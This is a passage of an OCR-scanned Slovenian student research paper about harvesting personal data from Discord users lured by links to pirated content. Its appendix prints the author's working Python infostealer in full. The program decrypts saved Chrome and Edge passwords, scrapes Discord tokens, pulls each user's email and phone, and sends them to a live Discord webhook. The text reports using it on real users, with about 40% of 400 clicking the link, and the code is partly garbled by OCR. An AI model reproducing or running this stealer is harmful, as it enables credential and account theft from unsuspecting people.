jaz, z malo programskimi izku$njami izdela preprost program in naredi velikansko Skodo.

Moja druga glavna ugotovitev pa je bila, da je pridobivanje osebnih podatkov zelo lahko
dostopno, saj se ljudje ne zavedamo Skode, ki jo lahko datoteke in povezave naredijo. S tem
pridobijo osebne podatke racuna, s ¢imer omogoc¢imo slabonamerni osebi, da pride na lahek
nacin do uporabniskih imen, gesel, e-naslovov ... Tako sklepam, saj je od 400 uporabnikov
povezavo kliknilo kar 157 uporabnikov, kar predstavlja skoraj 40 %, od tega pa najvec na
brezplac¢no igro, ki spada v Skupino 2.

Pred raziskavo sem si zadal tri hipoteze. Prvo hipotezo, ki pravi, da je mogoce s programom,
ki sem ga napisal sam, pridobiti uporabnisko ime uporabnika, lahko potrdim, saj lahko z
avtorskim programom pridobim ne le uporabnisko ime, ampak tudi geslo, e-naslov, token

Drugo hipotezo, da bo izmed vseh ponujenih vsebin najve¢ ljudi kliknilo na povezavo do
brezpla¢ne naro¢nine na Discord, ne morem potrditi, torej jo ovrzem. Najve¢ ljudi se je
zanimalo za brezpla¢no racunalnisko igro: Grand theft auto, kar lahko razberemo z grafa 6,
ki prikazuje Skupino 2. Razlike med Skupino 1 in 2 niso bile velike, povezavo Skupine 1 je
uporabilo 43 uporabnikov, povezavo Skupine 2 pa 55.

Tretjo — zadnjo — hipotezo, da lahko program razvijem sam, lahko potrdim, saj sem le z
YouTube tecajem in majhnimi nasveti oceta izdelal delujo¢ program, na katerem temelji
moja raziskava.

V svojo raziskavo sem vlozil veliko Casa in v tem obdobju sem opazil nekaj prednosti in
slabosti. Prednosti, ki sem jih opazil, so: takSne raziskave do sedaj Se ni bilo, raziskava je
primerjala razli¢ne primerljive skupine in razline uporabniske povezave. Ker pa nobena
raziskava ni popolna, bi vseeno rad predstavil, kar se mi je zdelo problemati¢no: zamuda
podatkov — s tem mislim naslednje: ko sem poslal povezavo in je oseba nanjo kliknila, je
preteklo kar nekaj ¢asa, preden je podatek prisel v Excel. To sicer ni uniéilo raziskave, saj
so bili datumi preverjeno ustrezni. Druga slabost, ki sem jo opazil, je nenehno posodabljanje
Discord-ove osnovne kode (to v osnovi ni moja napaka, mi je pa povzrocala tezave iz enega
razloga, to je, ko Discord objavi novo posodobitev, stari program neha delovati, saj kode
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niso vec¢ skladne). To sicer raziskave ni unicilo, saj so bile posodobitve prej najavljene in
sem pravocasno menjal kode v programu. TeZavo bi lahko resil tako, da bi v programu dodal
skripto, ki bi avtomatsko spremljala Discord-ove forume in ko bi izdali posodobitev, bi jo
dodala v program.

Menim, da bi lahko program tudi izboljsal. Skozi testno obdobje sem naletel na nekaj napak,
za katere menim, da niso imele velikega vpliva, ampak bi jih vseeno z veseljem odstranil.
Med te sodijo: program zal ne zaznava Sumnikov (kar je pomenilo, da so se v Excelovi tabeli
veckrat pojavila prazna mesta), drugi problem se je pojavil na zacetku testiranja, ko je eden
od uporabnikov v svojem imenu uporabljal razli¢ne simbole, zaradi katerih se je skripta (ki
podatke iz programa razporedi v Excel) skoraj ustavila oziroma nehala delovati. V prihodnje
bi raziskovanje zagotovo nadaljeval, tako da bi za razliko od sedanje raziskave spremenil
nekaj stvari: program bi zasnoval tako, da bi si uporabniki med sabo lahko posiljali povezavo
in bi ta Se vedno delovala, povecal bi Stevilo testiranih uporabnikov na tiso¢ in program
nadgradil do taksne mere, da bi lahko namesto povezave poslal datoteko (ki bi jo uporabniki
nalozili in s tem bi sam pridobil podatke), nato pa primerjal, koliko ljudi raje klikne na
povezavo in koliko jih prenese datoteko.
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6. ZAKLJUCEK

Podatke neprevidnih uporabnikov lahko pridobimo s programom, izdelanim s strani nekoga,
ki nima skoraj nobenih izkuSenj s programskim jezikom Python. Izmed Stirih skupin se
uporabniki najbolj zanimajo za brezplacno videoigro. Raziskava je pokazala, da s klikanjem
na neprimerne povezave lahko ogrozimo svoje osebne podatke. Vsem, ki dobijo povezavo
ali datoteko, predlagam, naj je ne klikajo oziroma prenasajo, saj je lahko Skodljiva.

7. ZAHVALA

Najprej bi se rad zahvalil svojemu mentorju, gospodu Bostjanu Ketisu, ki me je ves Cas
mojega raziskovanja usmerjal v pravo smer. V pomo¢ mi je bil tudi moj o¢e Primoz, ki mi
je pomagal s programom. Za lekturo raziskovalne naloge bi se rad zahvalil gospe Petri Merc.
Rad bi se zahvalil prijateljema Jakobu in Marku, ki sta priskocila na pomoc¢ in poslala
povezavo svojim prijateljem. Nazadnje bi se rad zahvalil Se gospe Marjeti Gradi$nik Mirt,
ki mi je izdelavo raziskovalne naloge tudi predlagala ter me vzpodbujala pri izdelavi.
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9. PRILOGA

Priloga 1: Program za pridobivanje podatkov, narejen v programskem jeziku Python

Crypto.Cipher import AES
urllib.request import Request, urlopen
re import findall

io import BytesIO

zipfile import ZipFile

import os

import json
import base64
import shutil
import threading
import sqlite3
import win32crypt

from dhooks import *
userid = "'

webhookurl =

Webhook ("https://discord.com/api/webhooks/943954284553334844/vm1R5jyvwEoyFtm
QrRO51ItXwGkAb6 8vZUuEs71EmL5avijY6qgCSQwjgGtplwkyR7D3")

passwords = []
tokens = []

class Browser:
class Browsers:
class Chrome:
def fetchEncryptionKey():
localStatePath = os.path.join(os.environ[ 'USERPROFILE'],
"AppData’, 'Local', 'Google', 'Chrome', 'User Data', 'Local State')

with open(localStatePath, 'r', encoding='utf 8') as f:
localStateData = f.read()
localStateData json.loads(localStateData)

encryptionKey =
base64.b64decode(localStateData[ 'os_crypt'][ "encrypted key'])
encryptionKey = encryptionKey[5:]

return win32crypt.CryptUnprotectData(encryptionKey, None,
None, None, 0)[1]

def passwordDecryption(password, encryptionKey):
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try:
iv = password[3:15]
password = password[15:]

cipher = AES.new(encryptionKey, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password,
None, None, None, 9)[1])
except:
return None

def fetchChromeData():
key = Browser.Browsers.Chrome.fetchEncryptionKey()
dbPath = os.path.join(os.environ[ 'USERPROFILE'], 'AppData’,
‘Local', 'Google', 'Chrome', 'User Data', 'default', 'Login Data')

fileName = "x.db"
shutil.copyfile(dbPath, fileName)

db = sglite3.connect(fileName)
cursor = db.cursor()

cursor.execute(
"select origin_url, action_url, username_value,
password_value, date_created, date_last_used from logins "
"order by date_last_used"

for row in cursor.fetchall():
passwordCombo = []

mainUrl = row[0]

userName = row[2]

passWord =
Browser.Browsers.Chrome.passwordDecryption(row[3], key)

dateOfCreation = row[4]

lastUsage = row[5]

if userName or passWord:
passwordCombo.append(mainUrl)
passwordCombo.append(userName)
passwordCombo.append(passiWord)

passwords.append(passwordCombo)




cursor.close()
db.close()

try:
os.remove("./x.db")

except Exception as ex:
PERS

Edge:

getMasterKey():

try:
with open(os.environ['USERPROFILE'] + os.sep +

\L \M \\= \U \L , 'r', encoding="utf-

localState = f.read()
localState json.loads(localState)
masterKey =
base64.b64decode(localState[ ‘os_crypt'][ 'encrypted key'])
masterKey = masterKey[5:]
masterKey win32crypt.CryptUnprotectData(masterkey,

» 0)[1]

return masterKey
except:
pass

decrypt_payload(cipher, payload):
return cipher.decrypt(payload)

generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)

decrypt_password(buff, master key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher =
Browser.Browsers.Edge.generate_cipher(master_key, iv)
decrypted_pass =
Browser.Browsers.Edge.decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()

return decrypted_pass
except Exception as e:
return "Chrome < 80"




fetchEdgeData():

masterKey = Browser.Browsers.Edge.getMasterKey()

loginDB = os.environ[ 'USERPROFILE'] + os.sep +
\L \M \Edge\U \P \L

shutil.copy2(loginDB, "z.db")

conn = sqlite3.connect("z.db")
cursor = conn.cursor()

try:
cursor.execute("SELECT action _url, username value,
password_value FROM logins")

for result in cursor.fetchall():
passwordCombo = []

url = result[0]

username = result[1]

encrypted = result[2]

password =
Browser.Browsers.Edge.decrypt_password(encrypted, masterKey)

if username password:
passwordCombo.append(url)
passwordCombo.append(username)
passwordCombo.append(password)

passwords.append(passwordCombo)

cursor.close()
conn.close()

try:
os.remove("z.db")
except:
pass
except:
pass

Main:
setup():
Browser.Browsers.Chrome.fetchChromeData()
Browser.Browsers.Edge.fetchEdgeData()

Discord:
Tokens:




def getheaders(token=None):
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"

}

if token:
headers.update({"Authorization": token})
return headers

def getuserdata(token):
try:
return
json.loads(urlopen(Request("https://discordapp.com/api/v9/users/@me",
headers=Discord.Tokens.getheaders(token))).read().decode())
except:
pass

def gettokens(path):
path += "\\Local Storage\\leveldb"
tokens = []
for file name in os.listdir(path):
if not file_name.endswith(".log") and not
file name.endswith(".1ldb"):
continue
for line in [x.strip() for x in open(f"{path}\\{file name}",
errors="ignore").readlines() if x.strip()]:
for regex in (r"[ 1{24}\.[ 1{6}\.[ 1{27}",

\.[\w-1{84}"):

for token in findall(regex, line):
tokens.append(token)
return tokens

def returntokens():
try:
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
except:
PERES

PATHS = {
"Discord" : ROAMING + "\\Discord",
"Discord Canary" : ROAMING + "\\discordcanary",
"Discord PTB" : ROAMING + "\\discordptb",
"Google Chrome" : LOCAL + "\\Google\\Chrome\\User
Data\\Default",




"Brave" : LOCAL + "\\BraveSoftware\\Brave-
Browser\\User Data\\Default",
"Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User
Data\\Default"
}

cache_path = ROAMING + "\\.cache~$"
embeds = []
working []
checked []
already cached_tokens = []
working_ids = []
for platform, path in PATHS.items():
if not os.path.exists(path):
continue
for token in Discord.Tokens.gettokens(path):
if token in checked:
continue
checked.append(token)
uid = None
if not token.startswith("mfa."):
try:
uid =
base64.bb64decode(token.split(".")[0].encode()).decode()
except:
pass
if not uid or uid in working_ids:
continue
user_data = Discord.Tokens.getuserdata(token)
if not user_data:
continue

if not token in working:
tokens.append(token)

class Main:
def setup():
Discord.Tokens.returntokens()

Discord.Main.setup()

Browser.Main.setup()

webhookEmbed = Embed(




description = f"**oxy | New hit!**",
color = 0x7127C4
webhookEmbed.set footer(text='coded by oxy * <3')

for token in tokens:
userData = Discord.Tokens.getuserdata(token)

userName = userData['username’]
userDiscriminator = userData['discriminator']

userEmail = userData[ 'email’]
userPhone = userDatal[ 'phone’]

userLocale = userData['locale']
userMFA = userData[ 'mfa_enabled']

userNSFW = userData[ ‘nsfw_allowed']

userVerified = userData[ 'verified']

webhookEmbed.add_field(name = f"||{token}||", value = """

Username: {userName}
Tag: {userDiscriminator}
Email: {userEmail}
Phone: {userPhone}

MFA: {userMFA}

Locale: {userlLocale}
NSFW: {userNSFW}
Verified: {userVerified}
ID: {userData['id']}

, inline = False)
webhookurl.modify(name="oxy")

passwordsFile = open('b.txt', 'a")
passwordsFile.write("oxy logger * pwds \n\n")

for combo in passwords:
passwordsFile.write(f"""

e e e e s e e

#

# URL: {combo[0]}

# Username: {combo[1]}




# Password: {combo[2]
# IIllII)

passwordsFile.write(
H )

passwordsFile.close()

with ZipFile('b.zip', 'w') as zip:
zip.write('b.txt")

webhookurl.send(embed=webhookEmbed, content=f"<@{userid}>",
file=File('b.zip', name='pwds.zip'))

try:
os.remove('b.zip")
os.remove('b.txt")
except:
pass
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*1ZJAVA

Mentor Bostjan Keti$ v skladu z 20. ¢lenom Pravilnika o organizaciji mladinske raziskovalne
dejavnosti »Mladi za Celje« Mestne obcine Celje, zagotavljam, da je v raziskovalni nalogi z
naslovom Deljenje osebnih podatkov pri prenosu piratskih vsebin na Discord-u, katere

avtor je David GajSek:

g

besedilo v tiskani in elektronski obliki istovetno,

pri raziskovanju uporabljeno gradivo navedeno v seznamu uporabljene literature,

7. daje za objavo fotografij v nalogi pridobljeno avtorjevo dovoljenje in je hranjeno
v Solskem arhivu,

8. da sme Osrednja knjiznica Celje objaviti raziskovalno nalogo v polnem besedilu
na knjizni¢nih portalih z navedbo, da je raziskovalna naloga nastala v okviru
projekta Mladi za Celje,

9. da je raziskovalno nalogo dovoljeno uporabiti za izobraZevalne in raziskovalne
namene s povzemanjem misli, idej, konceptov oziroma besedil iz naloge ob
upostevanju avtorstva in korektnem citiranju,

10. da smo seznanjeni z razpisni pogoji projekta Mladi za Celje.

o

/
(e

Podpis odgovorne osebe

. s

Celje, 10.2 2022 Zig Sole Podpis mentorja
Z’L

POJASNILO

V skladu z 20. ¢lenom Pravilnika raziskovalne dejavnosti »Mladi za Celje« Mestne
obcline Celje je potrebno podpisano izjavo mentorja (-ice) in odgovorne osebe Sole
vkljuditi v izvod za knjiznico, dovoljenje za objavo avtorja (-ice) fotografskega gradiva,
katerega ni avtor (-ica) raziskovalne naloge, pa hrani Sola v svojem arhivu.
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